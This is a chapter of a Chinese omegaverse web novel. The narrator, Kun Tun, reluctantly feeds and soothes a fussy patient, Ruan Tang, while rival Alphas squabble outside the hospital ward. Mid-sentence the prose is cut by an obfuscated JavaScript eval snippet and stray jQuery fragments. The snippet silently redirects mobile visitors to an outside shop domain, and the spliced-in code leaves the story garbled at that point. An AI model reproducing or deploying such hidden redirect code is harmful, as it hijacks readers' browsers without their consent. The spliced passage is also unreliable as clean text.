20. 军校的糟心日子(2)
    阮唐看着人小小一个,天天夹在Alpha中间当润滑油似的“你不要欺负这个”,“你不要针对那个”,实际上特别会折腾人。

    首先,昆屯需要把吃的东西一样一样递过去,把锡纸的塑料袋的保温盒的各种各样的包装打开,把里面的吃的递给阮唐看。

    当某样食物的外表吸引了阮唐的注意时,昆屯需要用各式各样的餐具弄一口喂到阮唐嘴里,阮唐要是表现出轻微的不满意就得把整份都拿开,收拾好再换下一份。

    由于食物山如果不封闭好,很容易在不经意间崩塌,固□□体流一地,给周围的环境重重一击,因此把它们都收拾好的工作量不亚于再把它们重新打包一遍。

    这个时候小少爷又有新想法了:“我觉得这个粥没有刚才那个鱼煲好吃,我要吃刚才那个鱼煲。”

    昆屯看着阮唐一指,被压在了食物山最底端的那份小少爷想吃的鱼煲,颇有些无语凝噎。

    然后昆屯又得利用自己不多的平衡知识,争取用最小的力气把那份鱼煲取出来。好不容易取出来之后小少爷又得变主意了:“我要吃那个鹅肝!”

    昆屯不知道是该先吐槽这家军校食堂花样还挺多,还是小少爷会折腾人。

    你不如直接说每样菜不能吃超过三筷子得了,好歹我还稍微轻松一点。哦不对,还得统一一下标准,还有三勺子、三叉子。

    他好不容易把阮少爷的半大小鸟胃喂饱了,还得把那些食物堆全部清理完。

    哦对,昆屯还得记录下阮唐吃了什么东西,吃了多少,跟之前录入进来的食物的主人名字一一相对应。

    吃饱了的阮唐觉得那些饭菜的气味恶心,排气系统运作了半天还觉得有味道。昆屯只能反手就去叫护士跟保洁。开玩笑,他又不知道怎么把气味清出去。

    这个过程跟甲方要了十几版方案过去看了最后敲定初版一样费心费神。甲方那个是持久战,阮少爷这个是身心的双重折磨,各有千秋。

    只能说社畜都是一样地费心费神。或许匡巩已经预见到了他悲惨的未来,所以让昆屯去当阮唐的保姆时才如此地毫不犹豫与干脆果断。

    匡少将高见。

    那些食物拎进来的时候有多重,拎出去的时候就有多重。阮唐吃的种类多,但压根没吃多少。

    当昆屯把食物清出去的时候,还有Alpha对着他甩脸子:“怎么把吃的都弄出来了?软软没吃饱我把你的肉割下来煮了给他吃!”

    被垃圾场腌过的肉不好吃,哥。昆屯在心里吐槽道。

    但他表面上还得摆出一副无动于衷的样子:“阮少爷吃完了,下面我来说说他的进食情况。”

    然后他调出个人终端,以一种有气无力的死出声音道:“王一,鱼羹三次五勺子。”

    “田苟,红枣桂圆粥,一次六勺子。”

    “沙彼,牛排,一叉子。”

    ……

    然后这帮alpha纷纷跟在榜下等录取结果的古代科考书生一样,支楞个脖子往昆屯这里望,等听到名字之后一个个跟范进中举似的疯癫,说着些什么“我就知道他会喜欢”、“他吃了我的东西那么多次就是心里有我”之类的疯话。

    然后其中有几个还开始争吵“他吃我的吃得多说明更喜欢我”、“他吃我的吃了很多次说明对我念念不忘”,要不是门口守着的黑衣人和护士拼命拦着,他们能当场打起来。

    “请不要打扰病人休息!”这句话被来阻拦劝架的护士重复了很多次,其中有一个更是直接上手拦住了正要打起来的两个Alpha。

    昆屯看着护士服都遮挡不住的肌肉线条心下了然。在军校干的人或多或少都得有点看家本事。毕竟想物理制住一堆疯狗也是相当不容易的。

    他不想被卷进这场纷争中,打着照顾阮唐的名头转身就又进了病房里去。

    阮唐正躺在床的边缘玩着终端,见山榛进来,嘟起了嘴巴:“你怎么去那么久啊,昆屯哥哥,我一个人好难过。”

    这句话略有歧义,但是昆屯没有注意到,心里正在酝酿一篇注定不能面试的讨军校檄文。

    他尽力压低了自己语气里的死气问:“还有其他事吗?”

    阮唐说:“你靠过来一点。”

    昆屯照做,靠过去了一些,然后过了片刻,听见阮唐的吸鼻子声。随即昆屯一看,只见阮唐的眼泪不要钱似的就流下来了。

    “又怎么了?”昆屯只觉得自己已经处在了崩溃的边缘。

    “昆屯哥哥身上没有信息素的味道……我不习惯……好不安……”阮唐抽抽搭搭地回答他。

    没信息素你不习惯,信息素多了你又过敏,那还能怎么办,让他凭空长个腺体出来?

    昆屯无语凝噎,一边说着些不痛不痒的安慰的废话,一边在个人终端上紧急摇人,给黑一发信息:“求助,这种情况咋办?”

    黑一很快地回复:“你去问问周围的保镖有没有人带信息素香水,在身上喷一下。”

    昆屯照做。黑门神之一掏出一瓶跟水一样的液体递给他,吩咐道:“少喷点,阮少爷如果因此发情了要追责。”

    昆屯嗯嗯啊啊答应了几声,接过瓶子之后严格按照三点式喷香水法喷了几下,心想这压根就是白水。

    但是门口那些alpha很明显不这么觉得。他们纷纷惊呼:

    “这……这是……好强大的Alpha气息!”

    “这难道就是上将的信息素?我今天算是见识到了!”

    随即其中有一两个身形一晃,跪了下来,只是落膝点没找好,压到了食物山上,又恰好碰到了里面汤汤水水的部分,哗啦洒了一地,在地板上晕染出一滩莫名其妙的形状。

    昆屯没管他们,转身又进了病房里。

    阮唐的眼泪来得快去得也快,这会儿只剩下微微发红的眼眶了。就是配着这个眼眶,很难不让不知情的人以为昆屯怎么他了。

    “昆屯哥哥,你能靠近点吗?”阮唐瓮声瓮气地问道。

    昆屯照做。阮唐突然暴起抱住了昆屯,精准地找到了昆屯在衣服上喷香水的位置狠狠地吸了好几口,跟溜冰似的。

    要不是昆屯穿得厚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345979|152676||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,加上知道阮唐其实就馋的是那口信息素,他差点要以为自己被非礼了。

    关键是昆屯现在至少有一个普通成年人的体力,还是被一个小豆芽菜制住了,还是连续两次。上次阮唐发情时他也没挣开。

    这事放到地球老家都贻笑大方,如果这事放在过年回老家被村头七大姑八大姨围观的那阵子,将会成为昆屯一辈子挥之不去的黑历史。

    在短短的几分钟里昆屯从地球上的乡村思考到星际的宇宙边缘,正当他准备继续往下思考一些哲学问题的时候阮唐终于撒开手。

    昆屯看他,他的眼睛居然又要死不死地盈满了眼泪,似乎下一刻就要落下来了。

    “又怎么了,活爹?”昆屯脑子一嗡。

    “味道像了,但是身形不像……”阮唐抽抽噎噎地说,用手指在空中胡乱画着,似乎是要描摹出他记忆中那人的形状,“他的肩膀应该更宽阔有力一点……”

    嗯嗯对的,匡少将有宽阔的肩膀和可供金丝雀依偎的臂弯,无论何时都那么引人注意,包括在战场上。哪天被敌军注意到那双开门肩膀用导弹哄一下就老实了。昆屯恶狠狠地想。

    昆屯是真不知道怎么办了,发消息给黑一求助。

    不料回复昆屯的不是黑一本人。

    “我就知道,软软心里果然我还是占比最重的。[墨镜][墨镜]唉,没办法,我还是去看看他吧。”

    匡大哥,匡少爷,你救我于水火之中。

    但匡巩没来接手这个祖宗的时候昆屯还得守着,只觉得自己像个带会说话的婴儿的保姆。

    阮唐一会儿又要别人给他念故事;一会儿又要别人给他唱歌;一会儿又要絮絮叨叨一大堆莫名其妙的话,比如匡巩爱不爱他,他们以后要在婚礼上放多少糖块,还有什么蜜月旅行要去兽人星系的xx部落去玩。

    昆屯没办法插嘴,偶尔把话里面的关键字重复一遍,表面上高情商实际上相当机械地回复他,比如什么“爱你”、“糖很甜”之类的。

    阮唐不在意,或者他压根听不出来,他好像本来就是随便找个人说一大堆话然后找情绪价值的,结果说着说着又哭了出来。

    这次怎么问他都不肯说原因,只顾着自己抽噎,抓着被子把眼泪鼻涕什么的都往上面糊。那哭声持续且悠长,让昆屯觉得自己急需一个san值判定。后续说不定还得去医院专门看看是不是耳鸣。

    就在阮唐哭得稀里哗啦的时候,病房的门突然被暴力地推开,匡巩黑着脸,卷着一阵风似的就进来了。

    “你怎么又让软软哭了?”他的声音里似乎蕴含着雷霆,马上就要把昆屯劈个粉碎。

    昆屯反应相当快,马上就把话题往拍马屁的方面引:“这不是少爷想您了吗,别人都无法取代您在他心中的位置,所以才哭了。”

    匡巩又马上多云转晴,他冲着昆屯一摆手:“你走吧,别打扰了我跟软软独处。”

    “好嘞哥。”昆屯仿佛得到了敕令,飞速地溜了出去。他越过走廊里不知因何原因东倒西歪的Alpha们,头也不回地跑出了医院。